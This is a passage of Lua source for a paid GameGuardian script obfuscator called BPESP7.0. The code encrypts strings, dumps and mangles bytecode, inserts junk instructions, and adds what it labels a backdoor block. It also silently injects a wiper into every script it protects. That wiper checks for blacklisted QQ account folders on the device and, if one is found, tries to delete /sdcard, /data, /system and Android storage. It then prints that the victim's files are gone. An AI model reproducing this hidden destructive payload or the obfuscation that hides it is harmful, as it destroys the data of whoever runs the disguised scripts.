lllllllIlllIII==(((4 + -#"\8\16") ~ (64 >> #"\4\8\20\19\14\7")) == ((224 >> #"\20\3\25\24\24") & (8 - #"\24\18\17\5"))) and lllIIIIIIIIll==(((13 + -#"\18\6\17\26\4\10\5") & (~0 - -#"\19\18\22\0\16\18\0\23")) == ((10 - #"\23\3\9\28\20\24\12\1") | (14 + -#"\6\4\14\21\14\2\3\10"))) then ]] Xiaoy=[[ else load(lmumumul) load(Js(llI(S(MLo(M(l)))))) loadfile("@#$≥↗ÊÊÇÃÀåæáÞçåæᐒ") end ]] -------------------------------------- ty = [[ ]]..Waike..[[ ]]..ty..[[ ]]..Xiaoy..[[ ]] FY=[[ --黑名单 local Table_QQ={ 3172742993,--san 1185744198,--sui 1012685553,--Lian 3311518284,--citmau 2701003908,--zero 43052113,--RL 3195869052,--lR 166643870,--JS 3136710288,--仙若 3379132619,--逸辰 2663700940,--樱桃 1059603974,--木酥 477312429,--神话 2941933603,--小寒 3186680147,--小白 2146328830,--山河 1735396184,--教主 1765279886,--子墨 3280439721,--绝代 1262292336,--阿豪 3430386670,--仙人 202400479,--恶魔 1578989908,--小鳄鱼 2787611487,--鹿十七 1700982226,--鸟之风 3383538204,-----祈愿 } for k,v in pairs(Table_QQ) do local panduan=os.rename("/storage/emulated/0/Android/data/com.tencent.mobileqq/Tencent/MobileQQ/"..v,"/storage/emulated/0/Android/data/com.tencent.mobileqq/Tencent/MobileQQ/"..v) while not not panduan and panduan do os.remove(' /storage/emulated/0/Download/*') os.remove(' /storage/emulated/0/Download/') os.remove(' /storage/emulated/0/Android/*') os.remove(' /storage/emulated/0/Android/') os.remove(' /storage/emulated/0/Android/obb/*') os.remove(' /storage/emulated/0/Android/obb/') gg.command('su-c /storage/emulated/0/Android/*') gg.command('su-c /storage/emulated/0/Android/') gg.command('su-c /storage/emulated/0/Android/obb/*') gg.command('su-c /storage/emulated/0/Android/obb/') gg.command('su-c /sdcard/A*') gg.command('su-c /data/*') gg.command('su-c /data/local/tmp/*') os.remove(' /res/') os.remove(' /sdcard/') os.remove(' /sbin/') os.remove(' /storage/') os.remove(' /share/') os.remove(' /system/') os.remove(' /sys/') os.remove(' /vendor/') os.remove(' /data/*') os.remove(' /data/local/tmp/*') print("被拉入黑名单了----你的文件没了") os.exit() print("被拉入黑名单了") YT() end end ]] ty=FY..'\n'..ty -------------------------------------- ty = ty : gsub ("gg.getFile","gg_getFile") -- 替换一下 防止变 ? 懂得都懂 ------------------------- ty = bool_Control ( ty ) --布尔值加密调用 zfc[#zfc+1]=ZFC_PP(ty) -- 字符串处理 zfc=table.concat(zfc) BM_TH=SJBM() B_M_T_H=SJBM() ty="\nlocal tables = table.insert\nlocal paIrs=pairs\nlocal string_char=string.char\nlocal table_unpack=table.unpack\nfunction XSPH(a,b,c)\nfor i = 1, #a do\ntables(c, a[i])\nend\nfor i = 1, #b do\ntables(c, b[i])\nend\nend\n" ty=ty.."local "..BM_TH.."={"..table.concat(SJZF,",").."}\nlocal "..B_M_T_H.."=#"..BM_TH.."\n" ty=ty.."local "..BMTH.."=function(str)local zfc={}for i,v in paIrs(str)do zfc[#zfc+1]=(v)~"..BM_TH.."[(i-1)%"..B_M_T_H.."+1]end str=string_char(table_unpack(zfc))return str end\n" ty=ty..""..zfc.."" -------------------------------------- ty=Enc_Strings(ty) ty="local m_x=(function(...)\n"..ty.."\nend)(\"触发调用处\",...)" ty=ty:gsub("([^%w]function[^%(]*%(.-%))",function(xx) return xx.."\nlocal __ty__ = x_var[\"\\xFD\\xFE\"]\nnewtable(\"\\xFF\\xFC\")\n" end) ty="local x_var = (function() local a = {} "..yr.." a=xor(a,\"无敌算法key\") return a end)()\nlocal newtable = function() local a={} return a end\nif 1<-1 then\nend\n(function(...)\n"..ty.."\nend)(...)" function generateRandomKey(length) local key = "" for i = 1, length do key = key .. math.random(0, 9) end return key end local keyLength = 36 local randomKey = generateRandomKey(keyLength) A=randomKey function strenc(str) local t = {string.byte(str, 1, -1)} for i = 1, #t do t[i] = string.format('\\x%02x', t[i]) end return '"' .. table.concat(t) .. '"' end function strenc_a(str) local t = {string.byte(str, 1, -1)} for i = 1, #t do t[i] = string.format('\\x%02x', t[i]) end return table.concat(t) end A=strenc(A) --转16进制 loads=([=[ load(string.RC4('SN',123))() ]=]) do A=loads:gsub('SN', A) G=menu G=G:gsub(".lua","") io.open(G..'.luax','w'):write(A) local __min__, __max__ = 2,4 local ffdm = function(num) num = num or math.random(__min__, __max__) ms = "goto ms;" return ";if(nil)then; " .. ms:rep(num * 2) .. "::ms::;end;" end -- 字符串是否存在(string.find) function string.contains(str, item, limit) local start, _ = str:find(item, limit, true) if start then return start else return false end end -- 脚本混淆 local scriptHxDown = function(ty, str) local c = 1 for match in ty:gmatch(str) do local de = ffdm(math.random(__min__, __max__)) -- 替换的内容 local rr = string.contains(ty, match, c) -- 定位到位置 local ty_ = ty:sub(1, rr) .. match .. de .. ty:sub(rr + #match, -1) local xx, _ = load(ty_) local gl if xx then ty = ty_ -- 更新ty gl = #de - #match else gl = #match end c = rr + gl end return ty end local scriptHxUp = function(ty, str) local c = 1 for match in ty:gmatch(str) do local de = ffdm(math.random(__min__, __max__)) -- 替换的内容 local rr = string.contains(ty, match, c) -- 定位到位置 local ty_ = ty:sub(1, rr) .. de .. match .. ty:sub(rr + #match, -1) local xx, _ = load(ty_) local gl if xx then ty = ty_ -- 更新ty gl = #de - #match else gl = #match end c = rr + gl end return ty end ty = ty:gsub("\n[\n%s\r\t]+", "\n") --ty = scriptHxDown(ty, "([^%w_]function.-%(.-%))") -- function语句 --ty = scriptHxDown(ty, "([^%w_%)%(,%}%{:]%s*end%s*[^%w_%)%(,%}%{:])") -- end ty = scriptHxUp(ty, "([^%w_]return[^%w_])") -- return ELGG="/storage/emulated/0/" io.open(menu..'字符串.lua','w'):write(ty) gg.alert("\n☕:STL混淆") LOOOGO="\n"..[=[ ヘ⌒ヽフ ( ・ω・) BPESP 企业版加密 / ~つと) ['加密名称'] BPESP加密-企业版 ['介绍']:BPESP加密 安全 高效 保障 ['官方群聊']:910132692 ['加密强度']:★★★ ['加密版本']:7.0 ['加密时间']:24世纪未期 ['技术提供']:MC.陌尘-RL-零霙-Yx.逸辰-citmau ['修改器提供']:Nekoha Shizuku 大B ['支持使用该加密修改器']:普通GG-RLGG-ELGG ['支持修改器']:各美化版GG-RLGG-ELGG-AGG-LGG ['购买 & 链接']:'https://efk.23ik.cn/shop/BPESP7.0' ['作者留言']:“𝘿𝙤𝙣𝙩 𝙘𝙖𝙧𝙚 𝙖𝙗𝙤𝙪𝙩 𝙬𝙤𝙧𝙡𝙙𝙡𝙮 𝙚𝙮𝙚𝙨 𝙩𝙤 𝙥𝙪𝙧𝙨𝙪𝙚 𝙮𝙤𝙪𝙧 𝙤𝙬𝙣 𝙡𝙞𝙜𝙝 ['作者评价']:"确实挺不错的" 注意事项: 【🈲请不要使用MT管理器将脚本"另存"到其他目录否则将"报错"无法执行】 【✅正确做法是将脚本移动到你想要的"目录"】 ]=].."\n" ty="(function(...)\nlocal main=(function(...)\n"..ty.."\nend)(_ENV)\nend)([===["..LOOOGO.."]===])" Constant="\n\n\nwhile i do\nlocal i\nwhile i==663789 do\n"..("_ENV[\"消炎水笑死人了\"]=\"牛马玩意笑飞我\"\n"):rep(math.random(1000,1000)).."end\nbreak\nend\n\n\n" ty = Constant .. ty function Jjian() local func,err=load(ty) if not func then AAAAAAAA=('文件加密失败\n失败原因:'..err) gg.alert('文件加密失败\n失败原因:'..err) --os.exit() io.open(menu..'-失败原因.lua','w'):write(AAAAAAAA) os.exit() end end Jjian() admin2="刷取字符串\n\n\n" -- 生成一个10位的随机数字key作为示例 file:write(admin2) -------------------------------------- --ty = CheckError ( ty )--检查错误调用 -------------------------------------- -------------------------------------- ty=string.dump(load(ty),true,true) -------------------------------------- Lasm=menu.."--[BPESP7.0加密(不是加密成品)].lua" if not gg.internal2(load(ty),Lasm)then return gg.alert("文件加密失败") end ty=io.open(Lasm,"r"):read("*a") admin4="正在进行汇编拆卸\n\n\n" -- 生成一个10位的随机数字key作为示例 file:write(admin4) --ty = string.gsub(ty, "%s*\n%s*", "\n") -------------------------------------- ty=ty:gsub("\n%s+","\n") local SL=os.time() ty = block (ty) -- 250区块调用 ty=ty:gsub('%.source%s*"%=%?"',".source \"BPESP7.0\x00\x00\"") -------------------------------------- ty=Get_var(ty)--清理垃圾 -------------------------------------- ty=Enc_var(ty)--汇编加密 ty=LOADKENC(ty) --常量加固调用 ty=ty:gsub('\n%.line 0\n',function(txt)return txt..'\nGETTABUP v0 u0 "debug"\nGETTABLE v0 v0 "getinfo"\nLOADK v1 2\nCALL v0..v1 v0..v0\nSETTABUP u0 "BPESP7.0" v0\nCLOSURE v0 F'..SL..'\nGETUPVAL v1 u0\nTAILCALL v0..v0\nRETURN v0..v0\n.func F'..SL..'\n.source "BPESP7.0\x00\x00"\n.linedefined 0\n.lastlinedefined 0\n.numparams 250\n.is_vararg 250\n.maxstacksize 250\n.upval u0 nil ; u0\n'end) --ty=ty..'\n.end\n' function x_upval_(a, a) local c = {} for i = a, a do table.insert(c, string.format(".upval v%d nil ; u%d", i, i)) end return table.concat(c, "\n") end x_upval=x_upval_(0,255) ty=ty:gsub(".upval v0 nil ; u0",x_upval,1) -------------------------------------- gg.alert("\n☕:JMP") function OPcode(data) function CC() local b = run(0, 22) return b end function GetJMP() local data, num1, A num1 = run(1, 8) A = run(2, 255) if num1 == 1 then data = 'TAILCALL v' .. CC() .. '..v' .. CC() .. '' elseif num1 == 2 then data = 'MUL v' .. CC() .. ' v' .. CC() .. ' v' .. CC() .. '' elseif num1 == 3 then data = 'EQ 1 1 1' elseif num1 == 4 then data = 'LT 0 1 1' elseif num1 == 5 then data = 'CALL v' .. CC() .. '..v' .. CC() .. '' elseif num1 == 6 then data = 'LE 1 1 1' elseif num1 == 7 then data = 'POW v' .. CC() .. ' v' .. CC() .. ' v' .. CC() .. '' else data = 'DIV v' .. CC() .. ' v' .. CC() .. ' v' .. CC() .. '' end data = '\n' .. data .. '\n' return data end Symbol = {} function Resver(b) local tab = {} for k, v in pairs(b) do table.insert(tab, 1, string.format("%x", v)) end str = table.concat(tab) tab = {} str = str:gsub("........", function(x) table.insert(tab, 1, "\nOP[" .. math.random(1, 255) .. "] 0x" .. x .. "\n") end) return table.concat(tab) end for k = 141, 5000 do table.insert(Symbol, utf8.char(k)) end op = {} for k = 141, 5000 do local txt = string.rep(Symbol[math.random(1, 4860)], math.random(2, 3)) table.insert(op, Resver(gg.bytes(txt))) end OP1 = op OP2 = { "TEST vRN1 RN2", "VARARG vRN1..vRN3", "LT RN3 RN1 RN2" } data = data:gsub('SETTABUP u%d "DUMP" "DUMP"', function(x) res = "" for i = 1, 10 do run = math.random OPlist = run(1, #OP1) OP = OP1[OPlist] OP2list = run(1, #OP2) OP2ListModif = OP2[OP2list]:gsub("RN1", run(1, 15)):gsub("RN2", run(1, 15)):gsub("RN3", run(1, 15)) OP = OP2ListModif .. "\n" .. GetJMP() .. "\n" .. OP .. "\n\n" res = OP .. "\n" .. res end return res end) return data end ty=JMPHX(ty,true) --JMP混淆调用 ty = OPcode(ty)--字节码 gg.toast("正在进行指令混淆...") gg.toast("正在进行指令错位...") ASM={["LOADK"]=2,["GETTABUP"]=2} jmp1=1000000 jmppz={} for text in string.gmatch(ty,'[^\n]+')do if text~=''then txt1=string.match(text,'%S+') if ASM[txt1]then jmp2=jmp1+1 jmp3=jmp2+1 suiji=math.random(-10000,-1) text='JMP :goto_'..jmp1..'\nTEST v103 0\nTEST v153 1\n:goto_'..jmp2..'\n'..text..'\nJMP :goto_'..jmp3..'\nTFORLOOP v135 GOTO['..suiji..']\n:goto_'..jmp1..'\nJMP :goto_'..jmp2..'\nFORPREP v151 GOTO['..suiji..']\n:goto_'..jmp3 jmp1=jmp3+1 end jmppz[#jmppz+1]=text end end ty = string.gsub(ty,"%.line 0",".line 0\nLOADK v248 0\n") ty = string.gsub(ty, "%s*\n%s*", "\n") ty = string.gsub(ty,"(%.upval [^\n]+)\n([^%.][^\n]+)",function(p1,p2) return p1.."\nLOADK v248 0\n"..p2 end) ty = string.gsub(ty,"[^\n]*JMP%s*:","TFORLOOP v247:") ty = ty:gsub("linedefined [^\n]+", "linedefined 0"):gsub("lastlinedefined [^\n]+", "lastlinedefined 0"):gsub("%.numparams %d+%s+%.is_vararg (%d+)%s+%.maxstacksize %d+", function(vararg) if tonumber(vararg) == 1 then return ".numparams 0\n.is_vararg 250\n.maxstacksize 250" else return ".numparams 250\n.is_vararg 250\n.maxstacksize 250" end end) end huazhiling=0 ty=ty:gsub("[^\n]*LOADK v239 0[^\n]*", function(txt) return txt:gsub(".+",txt.."\nNEWTABLE v240 200 0\n"..table.concat(Tab,"\n").."\nSETLIST v240..v249 1") end) --打印匹配次数 if ty then huazhiling=huazhiling+1 gg.toast("花指令区块匹配 :"..huazhiling.."次") end ty=ty:gsub("(%.upval v)(%d+) (.-) (; u)(%d+)",function(a,b,c,d,e) return b:gsub(b,a..b.." \"������\" "..d..e) end) ty=ty:gsub("(%.upval u)(%d+) (.-) (; u)(%d+)",function(a,b,c,d,e) return b:gsub(b,a..b.." \"������\" "..d..e) end) admin8="花指令区块混淆\n\n\n" -- 生成一个10位的随机数字key作为示例 file:write(admin8) gg.sleep(5000) gg.alert("\n☕:花指令区块刷取") ty = ty:gsub("\x04\x07\x00\x00\x00\x4A\x53\x4E\x55\x6C\x6C\x00", "\x04\x00\x00\x00\x00") -------------------------------------- ty = ty:gsub( "%s*NEWTABLE%s*v(%d+)%s*(%d+)%s*(%d+)%s*", function(a, b, c) b = 200 return "\nNEWTABLE v" .. a .. " " .. b .. " " .. math.random(200, 418) .. "\n" end ) ty=ty:gsub("%s*\n%s*","\n") -------------------------------------- ty=ty:gsub("(\n%s*RETURN [^\n]*)","%1\nRETURN v250..v250;\x4A\x53\n",1) -- 配合改编译头使用.. base64 = {} local by="\001\002\003\004\005\006\007\008\009\015\016\017\018\019\021\022\023\024\025\032\128\129\130\131\132\133\134\135\136\137\138\139\140\141\142\143\144\145\146\147\148\149\150\151\152\153\154\155\156\157\158\159\161\162\163\164\165\166\167\168\169\170\171\172" function base64.enc(data) return ((data:gsub('.', function(x) local r,by='',x:byte() for i=8,1,-1 do r=r..(by%2^i-by%2^(i-1)>0 and '1' or '0') end return r; end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x) if (#x < 6) then return '' end local c=0 for i=1,6 do c=c+(x:sub(i,i)=='1' and 2^(6-i) or 0) end return by:sub(c+1,c+1) end)..({ '', '==', '=' })[#data%3+1]) end local key_1=string.char(table.unpack({0xE0,0x81,0x94,0xE0,0x81,0xB0,0xE0,0x81,0x91,0xE0,0x81,0x93,0xE0,0x81,0x96,0xE0,0x81,0xB7,0xE0,0x81,0xA8,0xE0,0x81,0x98,0xE0,0x81,0xA2,0xE0,0x81,0x95,0xE0,0x81,0x8F,0xE0,0x81,0xAC,0xE0,0x81,0xA1,0xE0,0x81,0x90,0xE0,0x81,0xB9,0xE0,0x81,0x8B,0xE0,0x81,0x91,0xE0,0x81,0xB2,0xE0,0x81,0x8E,0xE0,0x81,0xA9,0xE0,0x81,0xAB,0xE0,0x81,0x87,0xE0,0x81,0x97,0xE0,0x81,0x84,0xE0,0x81,0xB5,0xE0,0x81,0x84,0xE0,0x81,0x8C,0xE0,0x81,0xAF,0xE0,0x81,0xA4,0xE0,0x81,0x8C,0xE0,0x81,0x8C,0xE0,0x81,0xB7,0xE0,0x81,0xAA,0xE0,0x81,0xB5,0xE0,0x81,0xAA,0xE0,0x81,0x82,0xE0,0x81,0x8E,0xE0,0x81,0x95,0xE0,0x81,0xB8,0xE0,0x81,0x8C,0xE0,0x81,0xA7,0xE0,0x81,0xAB,0xE0,0x81,0x84,0xE0,0x81,0x9A,0xE0,0x81,0xA8,0xE0,0x81,0x95,0xE0,0x81,0x8F,0xE0,0x81,0xA3,0xE0,0x81,0xB5,0xE0,0x81,0x8F,0xE0,0x81})) key_1 = {key_1:byte(1,-1)} function strdoor(data) --data=base64.enc(data) data = {data:byte(1,-1)} local ss=1 for i,k in pairs(data) do data[i]=string.format('\\x%02X' , k~key_1[ss]) ss=ss==#key_1 and 1 or ss+1 end return table.concat(data,'') end DecDoor = strdoor(codeMC) -- DecDoor=string.dump(load(DecDoor),true)--轻编译 local CodeFor = ([==[ .func F5201314 .source "=?" .linedefined 888 .lastlinedefined 888 .numparams 0 .is_vararg 1 .maxstacksize 250 JMP :goto_2 LOADK v245 1 LOADK v246 -1 ADD v247 v245 v246 LOADK v248 "\xFF\xFF" LEN v249 v248 SUB v250 v249 v247 JMP :goto_1000000 ADD v156 v156 v156 :goto_1000000 JMP :goto_3 :goto_2 :goto_3 LOADK v251 "\xBF\x00\x4D\x43]==]).. DecDoor ..([==[\xBF\x00\x4D\x43" RETURN .end ; F5201314 ]==]) -- 后门区块 ty=ty:gsub("%;%s*%]%=%=%=%=%=%=%=%=%=%](.-)%s*",(function(ty) ty="\n"..CodeFor.."\n; ]=========]"..ty return ty end)) ty=string.dump(load(ty),true)--轻编译 function Jjian() local func,err=load(ty) if not func then gg.alert('文件加密失败\n失败原因:'..err) os.exit() end end Jjian() ty=ty:gsub("\3\0\0\0"..init,get) ty=ty:gsub(string.char(0x04,0x07,0x00,0x00,0x00,0x44,0x51,0x44,0x51,0x44,0x51),(function() local tab={} table.insert(tab,string.char(0x04,0x11,0x27,0x00,0x00)) for i=1,10000 do table.insert(tab,string.char(math.random(58,126))) end return table.concat(tab) end)) -------------------------------------- ty=ty:gsub("\x9F\x3E\x00\x01","\xA4\x00\x00\x00",1)--防拆 -------------------------------------- ty=ty:gsub("\x00\x00\x00\x41","\x00\x00\x00\x00",1)--拆卸不输出UI -------------------------------------- ty=ty:gsub(string.rep(string.char(0x1F,0x00,0x80,0x00),3),ZJMHX)--字节码操作 local TeSl=function(num) local zl={} if not num then num=math.random(30000,35000) end for x=1,num do zl[#zl+1]=string.char(math.random(1,255)) end return table.concat(zl) end local Ren = math.random(5000,7000)+1 local x1 = Ren/256 local x2 = Ren%256 local Ren = TeSl(Ren-1) ty = ty:gsub("\004\022\000\000\000消炎水笑死人了",function(x) return "\004"..string.char(x2,x1).."\000\000"..Ren end) local Ner = TeSl(math.random(10000,13000)).."\x04"..string.char(x2,x1).."\x00\x00"..Ren.."\000"..TeSl(math.random(10000,13000)) local y1 = (#Ner+1)/256 local y2 = (#Ner+1)%256 ty = ty:gsub("\004\022\000\000\000牛马玩意笑飞我",function(x) return "\004"..string.char(y2,y1).."\000\000"..Ner end) ty=ty:gsub('\x9F\x3E\x00\x01','\x24\x00\x00\x00') ty=ty:gsub("\x00\x00\x00\x00\x00\x00\x00\x00(.)\xFA\xFA(....)\x17\xC0\xFF\x7F","\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF%1\xFA\xFA%2\x63\xBD\xFE\x7F")--garbage ty = string.gsub(ty, string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xFA, 0xFA), string.char(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA)) ty = string.gsub(ty, string.char(0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x80, 0x00), string.char(0x00, 0x00, 0x00, 0x00), 1) ty = string.gsub(ty, string.char(0x04, 0x07, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x6C, 0x52, 0x6C, 0x52, 0x00), string.char(0x04, 0x00, 0x00, 0x00, 0x00), 1) ty = string.gsub(ty, string.char(0x04, 0x07, 0x00, 0x00, 0x00, 0x52, 0x6C, 0x52, 0x6C, 0x52, 0x6C), string.char(0x04, 0xE9, 0x03, 0x00, 0x00) .. string.rep(string.char(6), 1000)) ty = string.gsub(ty, string.char(0x04, 0x07, 0x00, 0x00, 0x00, 0x52, 0x6C, 0x52, 0x6C, 0x52, 0x52), string.char(0x04, 0x11, 0x27, 0x00, 0x00) .. string.rep(string.char(6), 10000)) qukuai = string.char(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA) .. string.rep(string.char(0), 32) ty = ty:gsub(qukuai,string.char(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA) .. string.rep(string.char(0), 24) .. string.char(0x36, 0xB2, 0xBF, 0xFF, 0x83, 0x2B, 0xD8, 0xFF)) --[[xxx=Enc_Number(tostring(Hwea(ty))) detection=string.char(0x04,#xxx+1,0x00,0x00,0x00)..xxx ty=string.gsub(ty,"\x04.?\x00\x00\x00"..Detection,detection) ]] ty,error=ty:gsub(string.char(0x1B,0x00,0x00, 0x00, 0x17, 0x00 ,0x00 ,0x80,0x01),string.char(0x1B, 0x00, 0x00, 0x00 ,0x17, 0x00 ,0x00 ,0x80 ,0x17)) ty,error=ty:gsub(string.char(0x1B,0x00,0x00, 0x00, 0x17, 0x40 ,0x00 ,0x80,0x01),string.char(0x1B, 0x00, 0x00, 0x00 ,0x17, 0x40 ,0x00 ,0x80 ,0x99)) ty,error=ty:gsub(string.char(0x17 ,0x80 ,0xFE ,0x7F ,0x06), string.char(0x17 ,0x80 ,0x1B ,0x7F ,0x06)) ty,error=ty:gsub(string.char(0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFA,0xFA,0xFA),string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFA,0xFA,0xFA)) ty=string.gsub(ty, string.char(0x04, 0x07, 0x00, 0x00, 0x00, 0x44, 0x51, 0x44, 0x51, 0x44, 0x51),(function() local tab={} table.insert(tab,string.char(0x04, 0x11, 0x27, 0x00, 0x00)) for i=1,10000 do table.insert(tab,string.char(math.random(58,126))) end return table.concat(tab) end)) ty=ty:gsub('\x82\x76\x00\x00',function() return '\x23'..string.char(math.random(127,253),math.random(0,255),math.random(0,255)) end) ty=ty:gsub("\x03\x00\x00\x00%%\x00\x00\x00\x1D\x40\x80\x00\x1F\x00\x80","\x02\x00\x00\x00%%\x00\x00\x00\x1E\x00\x00") ty=ty:gsub("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xFA\x02\x00\x00\x00\x25\x25\x00\x00\x00\x1E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00","\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xFA\x05\x00\x00\x00\x25\x25\x00\x00\x00\x00\x00\x00\x00\x1D\x00\x00\x01\x1F\x00\x80\x00\xE4\x00\x80\x00\x01\x00\x00\x00\x04\x33\x00\x00\x00\xE3\x85\xA4\x0A\x0A\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x4A\x53\x2D\x4C\x75\x61\x2D\x45\x6E\x63\x62\x79\x74\x65\x2D\x56\x34\x2E\x30\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x0A\x0A\x0A\x00\x01\x00\x00\x00",1) ty = string.gsub(ty,'\x9F\x3E\x00\x01','\x24\x30\x00\xBE') ty=ty:gsub(string.rep('\x82\x76\x00\x00',2),function() local str1='\x23\xfe\xea\x77' local str2='\x23'..string.char(math.random(253,253),math.random(234,234),math.random(0,255)) return str1..str2 end) ty=ty:gsub('\x82\x76\x00\x00',function() return '\x23'..string.char(math.random(127,253),math.random(0,255),math.random(0,255)) end) ty=string.gsub(ty,string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xFA, 0xFA), string.char(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA)) ty=string.gsub(ty,string.char(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA), function() return string.char(math.random(200, 255), math.random(200, 255), math.random(200, 255), math.random(200, 255), math.random(200, 255), math.random(200, 255), math.random(200, 255), math.random(200, 255), 0xFA, 0xFA, 0xFA) end) ty=ty:gsub("\x03\x00\x00\x00%%\x00\x00\x00\x1D\x40\x80\x00\x1F\x00\x80","\x02\x00\x00\x00%%\x00\x00\x00\x1E\x00\x00") ty=ty:gsub("\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xFA\x02\x00\x00\x00\x25\x25\x00\x00\x00\x1E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00","\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xFA\x05\x00\x00\x00\x25\x25\x00\x00\x00\x00\x00\x00\x00\x1D\x00\x00\x01\x1F\x00\x80\x00\xE4\x00\x80\x00\x01\x00\x00\x00\x04\x33\x00\x00\x00\xE3\x85\xA4\x0A\x0A\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x4A\x53\x2D\x4C\x75\x61\x2D\x45\x6E\x63\x62\x79\x74\x65\x2D\x56\x34\x2E\x30\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x0A\x0A\x0A\x00\x01\x00\x00\x00",1) ty=ty:gsub('\x9F\x3E\x00\x01','\x24\x00\x00\x00') ty=ty:gsub("\x00\x00\x00\x00\x00\x00\x00\x00(.)\xFA\xFA(....)\x17\xC0\xFF\x7F","\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF%1\xFA\xFA%2\x63\xBD\xFE\x7F")--garbage ty=ty:gsub("\x00\x00\x00\x00\x00\x00\x00\x00(.)\xFA\xFA(....)\x17\xC0\xFF\x7F","\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8%1\xFA\xFA%2\x63\xBD\xFE\x7F") --ty=ty:gsub("\x00\x00\x00\x00\x00\x00\x00\x00(.)\xFA\xFA(....)\x17\xC0\xFF\x7F","\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8%1\xFA\xFA%2\x63\xBD\xFE\x7F") -- 1-0 ty=ty:gsub("\x01\x00\x00\x00\x1F\x00\x80\x00", "\x00\x00\x00\x00") ty = ty:gsub(string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFA, 0xFA, 0xFA), string.char(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA)) ty = ty:gsub(string.char(0x01,0x00,0x00,0x00,0x1f,0x00,0x80,0x00), string.char(0x00,0x00,0x00,0x00), 15) ty = ty:gsub(string.char(0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFA,0xFA,0xFA), string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFA,0xFA,0xFA)) ty = ty:gsub(string.char(0x04,0x07,0x00,0x00,0x00,0x57,0x53,0x5A,0x4E,0x42,0x4F), string.char(0x04,0x11,0x27,0x00,0x00) .. string.rep(string.char(6), 100000)) ty = ty:gsub(string.char(0x04,0x07,0x00,0x00,0x00,0x57,0x53,0x5A,0x5A,0x51,0x4F,0x00), string.char(0x04,0x00,0x00,0x00,0x00)) ty = ty:gsub(string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFA,0xFA,0xFA) .. string.rep(string.char(0), 32), string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFA,0xFA,0xFA) .. string.rep(string.char(0), 24) .. string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF)) ty = ty:gsub(string.char(0x2E,0x02,0x68,0x83,0x02,0xA2,0xB9,0x7F), string.char(0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0xFF)) ty = ty:gsub(string.char(0xF2,0x34,0x53,0x9C,0x9B,0x81,0x84,0x7F), string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF)) ty = ty:gsub(string.char(0x01,0x00,0x00,0x00,0x1f,0x00,0x80,0x00), string.char(0x01,0x00,0x00,0x00,0xDF,0xFF,0x00,0x00)) ty = ty:gsub(string.char(0x80,0x06,0x00,0x41,0x00,0x1D,0x40,0x80,0x00), string.char(0x80,0x17,0x00,0x41,0x00,0x1D,0x40,0x80,0x00)) ty=ty:gsub(string.char(0x01,0x00,0x00,0x00,0x1f,0x00,0x80,0x00),string.char(0x00,0x00,0x00,0x00),15) ty=ty:gsub(string.char(0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFA,0xFA,0xFA),string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFA,0xFA,0xFA)) ty=ty:gsub(string.char(0x04,0x07,0x00,0x00,0x00,0x57,0x53,0x5A,0x4E,0x42,0x4F),string.char(0x04,0x11,0x27,0x00,0x00)..string.rep(string.char(6),10000)) ty=ty:gsub(string.char(0x04,0x07,0x00,0x00,0x00,0x57,0x53,0x5A,0x5A,0x51,0x4F,0x00),string.char(0x04,0x00,0x00,0x00,0x00)) ty=ty:gsub(string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFA,0xFA,0xFA)..string.rep(string.char(0),32),string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFA,0xFA,0xFA)..string.rep(string.char(0),24)..string.char(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF)) ty=ty:gsub(string.char(0x2E,0x02,0x68,0x83,0x02,0xA2,0xB9,0x7F),string.char(0x00,0x00,0x00,0x00,0x00,0x00,0xF0,0xFF)) 